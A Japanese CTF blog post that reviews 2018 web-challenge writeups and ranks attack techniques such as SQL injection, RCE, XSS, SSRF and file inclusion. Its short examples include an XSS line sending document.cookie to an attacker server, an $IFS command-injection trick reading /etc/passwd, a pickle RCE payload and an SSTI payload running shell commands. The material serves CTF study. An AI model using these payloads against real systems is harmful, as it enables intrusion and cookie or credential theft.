こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

【2018年】CTF Web問題のwriteupぜんぶ読む

CTF Advent Calendar 2018 - Adventarの16日目の記事です。

15日目は@_N4NU_さんの「どのCTFに出たらいいか分からない人のためのCTF一覧 (2018年版) - WTF!?」でした。


はじめに

なにごとも振り返りと復習が大事です。

まだ年末まで半月ほどありますが、Advent Calendarに合わせて、一足早く2018年のCTFイベントで出題された問題を振り返ります。Web問題を対象にwriteupを全部読んで、使用された攻撃手法を集計してランク付けするとともに、各攻撃手法を使用したwriteupをピックアップして紹介していきます。

CTFイベントに参戦した人は「あー、そんな問題あったねー」と振り返って頂ければと思いますし、未参戦の人は「へぇ、そんな攻撃手法あるんだなぁー」と感じて頂ければと思います。

集計対象

集計対象のイベントと問題は以下のとおりです。

  • 2018年1月1日~12月15日(本記事の執筆時点)までに開催されたイベントであること。
  • Online開催であること。
  • Jeopardy形式であること。
  • Web問題であること。

集計元データには、CTFTimeのArchiveおよび自チームで記録しているデータを使用しました。
ctftime.org

「Web問題」の判定にはCTFTimeのTagsとイベント公式ページのカテゴリを参考にしました。

サマリ

まずはCTFイベントと問題の合計です。

CTFイベント数

95イベント
(2018年12月15日現在。年内は残りX-MAS CTF 2018と35C3 CTFの2イベントのみ。)

Web問題数

366問

実は週2回のペースでイベントがあるんですね。
全てに参加しようとすると、ほぼ毎週末つぶれますね、はい。


次に、CTFTimeにwriteupが公開された問題数です。

Writeup公開数

310問 (全Web問題数の84.7%)

つまり、8割以上はwriteupが公開されるため、イベント期間中に自分で解けなくても大部分は復習できるということがわかります。但し、難問はそもそもの解答チームが少なくwriteupが公開されない確率も高いため、本当に知りたい難問のwriteupが無いケースが多いです。また、Web問題はwriteupが出る頃には出題サイトがクローズしているため、writeupを読むだけの机上確認しかできないことが多いです。

なお、私が解いた問題は、イベント終了後の数時間以内に当Blogでwriteupを公開していますので、出題サイトのクローズ前に復習することができます。writeup公開時にtwitterでも案内しています。(宣伝)

twitter.com

使用された攻撃手法ランキング

各問題のwriteupに出現した攻撃手法をカウントして作成したランキングです。
機械的な集計方法がないため、タイトルの通り310問のwriteupを全て読んで集計しました
はい、想像以上にしんどかったです。

では、ランキングはこちら。

順位 攻撃手法 出題問題数
1位 SQL Injection 44問
2位 Remote Code Execution 34問
3位 Cross Site Scripting 25問
4位 OS Command Injection 19問
4位 Server Side Request Forgery 19問
6位 Local/Remote File Inclusion 17問
7位 Insecure Deserialization 12問
8位 Server-Side Template Injection 10問
9位 Directory Traversal 9問
10位 Prototype Pollution Attack 6問
10位 Race Condition 6問
12位 XML External Entity 5問
12位 Directory Brute-Force Attack 5問
14位 CSS Injection 4問
15位 Hash length extension attack 3問
16位 LDAP Injection 2問

1つの問題に対して複数の攻撃手法を使用している場合は複数回カウントしています。また、どれにも該当していない場合は特にカウントしていません。(よって、合算しても全問題数に一致しません。)


次に、攻撃手法の説明および出題傾向の解説と、実際に出題された問題のwriteupを紹介していきます。
なお、10位の紹介を割愛していますが、自分でろくに解けておらず書けることがなかったため、とりやめました。

1位:SQL Injection (SQLi)【44問】

納得の1位です。特に説明は不要ですね。問題数が多かった理由として、作問しやすく環境も作りやすいという理由もあるかと思います。Warmup問題や学生向けイベントの問題にも多く出題されており、' or 1=1 #でクリアできるような単純な問題も多かったです。

3つの攻撃手法をピックアップして紹介します。

1. Blind SQL Injection

Blind SQL Injectionを使用する問題は10問ありました。 応答データから成否を判断して文字列を特定していく問題が大多数でしたが、SECCONのオンライン予選の問題では応答時間から判断するTime Based SQL Injectionを使用しました。 手動で1文字ずつ確認していくのは非常に手間であるため、コード作成が必要です。 出題数も多く使用する機会も多いためコードをテンプレート化して準備しておくと良いかと思います。

当Blogでもwriteupを公開しています。

普通のSQL Injection(ブラックリスト回避あり)
Time-Based Blind SQL Injection

2. NoSQL Injection

SQL Injectionのカテゴリに入れてよいか悩みましたが、NoSQLデータベースに対するSQL? Injectionです。

MongoDB、Redis、ArangoDBの問題が出題されました。使用されている言語は、MongoDBはBSON、RedisはLUA Script、ArangoDBはArangoDB Query Languageらしいです。ArangoDB Query Languageは初めて聞きました。 知らない言語や文法であっても、その場でリファレンスを読んで頑張る力が求められます。

MongoDB
Redis
ArangoDB

3. スペースを使用しないSQL Injection

SQL Injectionの脆弱性がある項目を見つけたのに、半角スペースが禁止されている!どうしよう!」という時にバイパスする手法です。
例えば、select foo from baaselect(foo)from(baa)で書き直せます。

実は昔から知られている手法だったようです。こちらの記事でまとめられていました。

2位:Remote Code Execution (RCE)【34問】

PHPファイル等の実行ファイルをサーバ内に作成またはアップロードする問題、eval等の文字列をコードとして評価する関数に入力文字列を通す問題、Insecure Deserializationとの合わせ技の問題、ソフトウェアの既知の脆弱性を利用した問題など、数多くのパターンがありました。Insecure Deserializationは後述します。

サーバ側でPHPファイルを作成させて実行する問題の中から1問紹介します。 この問題は、英数字が禁止されているため、記号だけでPHPファイルを作成しなければいけないという制約を、あるトリッキーな手法でバイパスしています。

3位:Cross Site Scripting (XSS)【25問】

よくあるdocument.href = "http://myserver/" + document.cookieをするだけといった問題は少なかったように感じます。 CSPによる制約を回避することが肝である問題が多かったです。

4つの攻撃手法をピックアップして紹介します。

1. 画像ファイルへスクリプト埋め込み

XSS脆弱性を発見したけれどContent-Security-Policy(CSP)によるSame-Origin Policyの制約のため、スクリプト実行ができない!」という時に、画像ファイルをアップロードする機能があれば、この攻撃手法を疑った方がよいです。スクリプトを埋め込んだ画像ファイルを同一サーバにアップロードすることで、Same-Origin Policyの制約を回避してスクリプトを実行させる手法です。

当Blogでもwriteupを公開しています。

2. Service Workerの利用

Service Workerを用いた攻撃手法の説明は、こちらの@kinugawamasato氏による説明資料を参照ください。
speakerdeck.com

出題された問題は以下の1問です。同じく@kinugawamasato氏によるwriteupです。
個人的には今年のWeb問題の中でトップレベルの良問と思っています。

3. Cache Poisoning

攻撃者サーバ(自サーバ)に配置したスクリプトファイルをCDNにキャッシュさせて、管理者に踏ませる手法です。 「CTFでCache Poisoningが出題できるんだ!」と感心しました。

4. AMPコンポーネントの利用

AMP(Accelerated Mobile Pages)とは、モバイル端末でウェブページを高速表示するフレームワークですが、そのAMPのコンポーネントを使用したXSSで管理者からCookieを窃取する手法です。AMP自体知らなかったため、その場でリファレンスを読んで頑張る力が求められました。

4位:OS Command Injection 【19問】

backtick記号でOS Commandを括るだけで実行できたり、Rubyの場合は| OS Commandで実行できたりと、単純な問題も多かったです。 2014年に話題となったShellShockの問題も出題されました、油断ならないですね。
他、ソフトウェアの既知の脆弱性を利用した問題もいくつか出題されています。

2つの攻撃手法をピックアップして紹介します。

1. スペースを使用しないOS Command Injection

「OS Command Injectionの脆弱性がある項目を見つけたのに、半角スペースが禁止されている!どうしよう!」という時にバイパスする手法です。

$IFS$()を使用します。$IFSがスペースの代わりです。$()$IFSと直後の文字を分離するときに使用します。何言っているかわかりませんね、以下が例です。

# $IFSの直後の文字が/や-の場合は問題ない
root@kali:/# ls$IFS/etc/passwd
/etc/passwd

# $IFSの直後の文字を巻き込んで変数名として認識されエラーとなってしまった
root@kali:/# ls$IFSetc/passwd
bash: ls/passwd: No such file or directory

# 空の実行コマンドである$()を挟めば解決
root@kali:/# ls$IFS$()etc/passwd
etc/passwd

2. Latex Injection

珍しいInjectionの紹介です。Latexでも油断できません。

4位:Server Side Request Forgery(SSRF) 【19問】

先日、徳丸先生が解説記事を執筆されていたSSRFです。
blog.tokumaru.org

実は今年のCTFでは、SSRFを使用する問題が多数ありました。

3つの攻撃手法をピックアップして紹介します。

1. AWS CLIへのアクセス

AWSのEC2インスタンスからhttp://169.254.169.254/にアクセスすることで、インスタンス情報が取得できます。詳しくは臼田氏による説明資料を参照ください。
speakerdeck.com

DNSのRace Conditionを利用してSSRFを引き起こし、AWSインスタンス情報を窃取する問題が1問出題されました。良問だったと思います。

2. gopherを使用したMySQL接続

なんと、curlMySqlへ接続してSQLを実行できるのです。接続にはgopherプロトコルを使用します。gopher://mysqlサーバ/のURLを叩くイメージです。よって、curlで内部ネットワークに接続可能なSSRF脆弱性があれば、外部から内部ネットワーク内のDBを参照できてしまいます。この手法を最初に見た時には非常に驚きました。

どうやら簡単に実行可能なGopherusというツールもでているようです。(まだ試せていないです。)
github.com

送信データを手作りした例
Gopherusを使用した例

3. Docker/Kubernetesの呼び出し

SSRFの脆弱性を突いて、DockerやKubernetesを操作する問題が出題されていました。 Dockerは/var/run/docker.sockを使用して操作、Kubernetesはkubeletというエージェントが使用しているポートを使用して操作する解法でした。

Docker
  • Real World CTF 2018 Quals - PrintMD
    crblog
Kubernetes

6位:Local/Remote File Inclusion【17問】

Remote File Inclusionは1問だけで、Local File Inclutionばかりでした。PHPストリームラッパーを使用する問題が多かったです。

3つの攻撃手法をピックアップして紹介します。

1. PHPセッションファイルの利用

PHPのセッションファイルが/var/lib/php/sessions/に格納されていることを利用して、攻撃コード等をセッションにセットした上で、LFIでセッションファイルをincludeさせる攻撃です。

2. PHPストリームフィルタによるファイルチェックの回避

サーバ側でロードしたファイルが期待通りのファイル形式かチェックしている場合に、PHPストリームフィルタでデータを改変しチェックを回避する手法です。

例えば、flag{から始まるテキストファイルをロードしたいけれど、サーバ側でロードするファイルが画像ファイルかどうかチェックしている場合があるとします。 iconvフィルタで間違った文字コード変換をすることでデータを改ざんし、画像ファイルと誤認させることができます。

以下が例です。flag{This_is_FLAG}という文字列のテキストファイルを、IBM1154の文字コードからUTF-32BEの文字コードに変換することで、wbmpファイルと誤認させることができました。

php > echo file_get_contents("flag.txt");
flag{This_is_FLAG}
php > $data=getimagesize("php://filter/convert.iconv.IBM1154.UTF-32BE/resource=flag.txt");
php > var_dump($data);
array(5) {
  [0]=>
  int(4)
  [1]=>
  int(6)
  [2]=>
  int(15)
  [3]=>
  string(20) "width="4" height="6""
  ["mime"]=>
  string(18) "image/vnd.wap.wbmp"
}

これを応用し、フィルタを複数重ねることで変換後のデータ内容をある程度自由にコントロールできます。ただ、狙ったデータにするには試行錯誤が必要になりそうです。

iconvフィルタを使用した例
複数のフィルタを重ね掛けして、PHPセッションファイルからPHPコードに変換した例

3. Log Injection

クエリやUserAgentやRefererに攻撃コード等をセットしてリクエストし、攻撃コードをアクセスログに記録させたうえで、LFIでアクセスログファイルをincludeさせる攻撃です。

7位:Insecure Deserialization【12問】

2017年のOWASP Top10に新たに追加された「安全でないデシリアライゼーション」です。

2つの攻撃手法をピックアップして紹介します。

1. PHPGGCの使用

PHPGGCは、unserializeをトリガーに任意コードをを実行できる強力なガジェットです。
JavaのysoserialのPHP版とイメージすれば良さそうです。

github.com

3つの問題で使用されていました。

2. Pickle RCEの使用

pythonのPickleモジュールを使用して外部入力データのデシリアライズ処理をしている場合に任意コードを実行できる手法です。 以下、簡単な例です。

root@kali:~# python
Python 3.6.6 (default, Jun 27 2018, 14:44:17) 
[GCC 8.1.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pickle
>>> pickle.loads(b"cos\nsystem\n(S'id'\ntR.")
uid=0(root) gid=0(root) groups=0(root)
0

2つの問題で使用されていました。

8位:Server-Side Template Injection(SSTI)【10問】

DjangoやJinja2などのテンプレートエンジンを使用して実装されたコードの脆弱性を突いて、任意コードの実行や変数参照を行う手法です。 例えば、flask.render_template_string(param)といったコードがあり、任意の外部入力データをparam変数にセット可能とします。 param変数に{{url_for.__globals__.__getitem__('os').system('id')}}をセットすることで、idコマンドが実行できてしまいます。

ただ、便利なモジュールや変数をそのまま使用できないようブラックリストによる入力文字列チェックを突破することが肝である問題が多かったです。 代表してチェックが厳しめな問題を紹介します。

9位:Directory Traversal 【9問】

LFIとセットで出題されていたり、Warmup的な問題が多かったです。その中でDirectory Traversalを使用してファイルを書き込んで解くという珍しい問題があったので紹介します。Directory TraversalでOSユーザの.bashrcを書き換えて、ログイン時に任意のコマンドを実行させるという手法でした。

12位:XML External Entity(XEE) 【5問】

こちらも2017年のOWASP Top10に新たに追加されました。 できることが限られているからか、特にトリッキーな利用例は無かったと思います。

12位:Directory Brute-Force Attack 【5問】

niktoやdirb等のツールで、URLのパス名のBlute-Forceをかけて有用なリソースがあるか確認する攻撃手法です。 CTFにおいてはルールで禁止されている場合が多いです。

ツールによるBlute-Forceが必要なパス名と解釈するか、常識的に確認すべきパス名と解釈するか(例えばrobots.txtは必ずチェックしますよね)、 個人差や程度問題はありますが、ツール使用が必要であると私が判断したものとして以下のパス名を探し当てる問題がありました。

  • /.git
  • /accounts.xml
  • /.htpasswd
  • /secret/

/.gitは、もはやノーヒントでも常識的に確認すべきパス名なのかもしれません。

なお、robots.txtにヒントまたはフラグが記載されている問題は計12問ありました。Writeup公開済み問題数の約3.9%ですね。

14位:CSS Injection 【4問】

CSS Injectionの説明は、こちらの@lmt_swallow氏による説明資料を参照ください。
speakerdeck.com

出題数は4問だけでしたが、Google CTF、SECCONで出題されており、定期的に出題されることが予想されます。 すぐに実行できるよう、攻撃スクリプトのテンプレートを用意しておきたいですね。

15位:Hash length extension attack 【3問】

Hash length extension attackと、使用するツールであるHashPumpの説明はこちらを参照ください。
CTF/Toolkit/HashPump - 電気通信大学MMA

意外に3問もありました。saltを先頭につけてハッシュ計算している処理がある場合に、この手法の使用を疑った方がよいかもしれません。

16位:LDAP Injection 【2問】

SQL InjectionのLDAP(Lightweight Directory Access Protocol)版です。

payload集もあります。
github.com

項目名がノーヒントだとしても、LDAPで使用されている代表的なオブジェクトクラスの属性名を調べて試す必要がありました。

番外編:ソフトウェアの既知の脆弱性を利用した攻撃

Web問題に挑戦していて手詰りになると、ソフトウェアの既知の脆弱性を疑い始めます。(ただ、大概、空振りに終わります。)

そこで、既知の脆弱性を利用した攻撃を使う問題はどの程度あるか調べてみたところ、計16問 (Writeup公開済み問題数の5.2%)でした。思ったより多いです。バナー情報や出題者から公開されているリポジトリ情報から、ソフトウェアのバージョン番号がわかる場合は、既知の脆弱性を使用する問題か疑った方がよいかもしれません。

なお、対象のソフトウェアは以下の通りです。

まとめ

実は、最初に集計方法や観点をあまり考えずに読み始め、途中でBlog記事に落とし込むにあたり必要となる情報が変わったため、結果、2周(310問×2回)読みました。きつかった。土日が2回潰れた感ある。こういうのは、各イベントの開催直後に随時まとめていく方がよいかなと思いますが、開催の数か月後にwriteupが公開されることもあるため、それもまた微妙です。覚悟を決めて一括で年末にやるしかないのか。

さて、まとめてみると、結構、過去に出た同じ解法を軸とした問題が多いことに気付きました。過去問だいじ。また、類似問題のwriteupにすぐにアクセス可能なデータ収集ができたため、今後のCTFイベントで活用していきたいと思います。 差し当たり、SECCON国際決勝を頑張ります。


明日のCTF Advent Calendar 2018 - Adventarは@icchyさんです。